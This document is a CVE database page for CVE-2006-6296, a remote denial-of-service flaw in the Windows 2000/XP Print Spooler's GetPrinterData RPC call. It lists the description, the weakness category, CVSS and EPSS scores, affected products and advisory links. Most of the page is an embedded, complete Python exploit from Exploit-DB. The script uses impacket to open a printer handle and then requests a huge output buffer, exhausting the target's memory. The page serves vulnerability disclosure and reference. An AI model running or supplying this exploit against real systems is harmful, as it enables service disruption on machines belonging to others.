CVE-2006-6296 : Detail

CVE-2006-6296

31.73%V4
Adjacent Network
2006-12-05
10h00 +00:00
2017-10-18
14h57 +00:00
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CVE Descriptions

The RpcGetPrinterData function in the Print Spooler (spoolsv.exe) service in Microsoft Windows 2000 SP4 and earlier, and possibly Windows XP SP1 and earlier, allows remote attackers to cause a denial of service (memory consumption) via an RPC request that specifies a large 'offered' value (output buffer size), a variant of CVE-2005-3644.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.1 AV:A/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2879

Publication date : 2006-11-30 23h00 +00:00
Author : h07
EDB Verified : Yes

#!/usr/bin/python # MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07 <h07@interia.pl> # Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins # Example: # # C:\>python spoolss_dos.py 192.168.0.2 512 # # [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit # [*] Coded by h07 <h07@interia.pl> # [*] Connecting to 192.168.0.2:445 # [+] Connected # [+] The NETBIOS connection with the remote host timed out. # [+] 192.168.0.2: Out of memory # [+] Done # # Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows # Spooler service(spoolsv.exe) memory usage: 512 MB ## from impacket.structure import Structure from impacket.nmb import NetBIOSTimeout from impacket.dcerpc import transport from impacket import uuid from struct import pack from string import atoi from sys import argv from sys import exit print "\n[*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit" print "[*] Coded by h07 <h07@interia.pl>" if(len(argv) < 3): print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0]) print "[*] Sample: %s 192.168.0.1 512" % (argv[0]) exit() MB = 1024 * 1024 host = argv[1] memory_size = MB * atoi(argv[2]) interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0') stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= { 'host': host, 'pipe': interface[0], } class B1(Structure): alignment = 4 structure = ( ('id', '<L'), ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class B2(Structure): alignment = 4 structure = ( ('max', '<L'), ('offset', '<L=0'), ('actual', '<L'), ('str', '%s'), ) class OpenPrinterEx(Structure): alignment = 4 opnum = 69 structure = ( ('printer', ':', B1), ('null', '<L=0'), ('str', '<L=0'), ('null2', '<L=0'), ('access', '<L=0'), ('level', '<L=1'), ('id1', '<L=1'), ('level2', '<L=10941724'), ('size', '<L=28'), ('id2', '<L=0x42424242'), ('id3', '<L=0x43434343'), ('build', '<L=2600'), ('major', '<L=3'), ('minor', '<L=0'), ('processor', '<L=0xFFFFFFFF'), ('client', ':', B2), ('user', ':', B2), ) class GetPrinterData(Structure): alignment = 4 opnum = 26 structure = ( ('handle', '%s'), ('value', ':', B2), ('offered', '<L'), ) trans = transport.DCERPCTransportFactory(stringbinding) print "[*] Connecting to %s:445" % (host) try: trans.connect() except: print "[-] Connect failed" exit() print "[+] Connected" dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2]))) query = OpenPrinterEx() printer = "\\\\%s\x00" % (host) query['printer'] = B1() query['printer']['id'] = 0x41414141 query['printer']['max'] = len(printer) query['printer']['actual'] = len(printer) query['printer']['str'] = printer.encode('utf_16_le') client = "\\\\h07\x00" query['client'] = B2() query['client']['max'] = len(client) query['client']['actual'] = len(client) query['client']['str'] = client.encode('utf_16_le') user = "h07\x00" query['user'] = B2() query['user']['max'] = len(user) query['user']['actual'] = len(user) query['user']['str'] = user.encode('utf_16_le') dce.call(query.opnum, query) raw = dce.recv() handle = raw[:20] if(handle == ("\x00" * 20)): print "[-] ERR: OpenPrinterEx()" if(raw[20:] == "\x09\x07\x00\x00"): print "[-] Return code: Invalid printer name (0x00000709)" if(raw[20:] == "\x05\x00\x00\x00"): print "[-] Return code: Access denied (0x00000005)" exit() query = GetPrinterData() value = "blah_blah\x00" query['handle'] = handle query['value'] = B2() query['value']['max'] = len(value) query['value']['actual'] = len(value) query['value']['str'] = value.encode('utf_16_le') query['offered'] = memory_size dce.call(query.opnum, query) try: raw = dce.recv() status = raw[:4] r_size = raw[4:8] if(status == "\x1b\x00\x00\x1c"): print "[-] Memory allocation error, out of memory" exit() if(r_size == pack("<L", memory_size)): print "[+] Memory allocated" except NetBIOSTimeout, err: print "[+] %s" % (err) print "[+] %s: Out of memory" % (host) print "[+] Done" # EoF # milw0rm.com [2006-12-01]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_xp >> Version *

References

http://securitytracker.com/id?1017330
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/21401
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/23196
Tags : third-party-advisory, x_refsource_SECUNIA
https://www.exploit-db.com/exploits/2879
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.kb.cert.org/vuls/id/914617
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.vupen.com/english/advisories/2006/4827
Tags : vdb-entry, x_refsource_VUPEN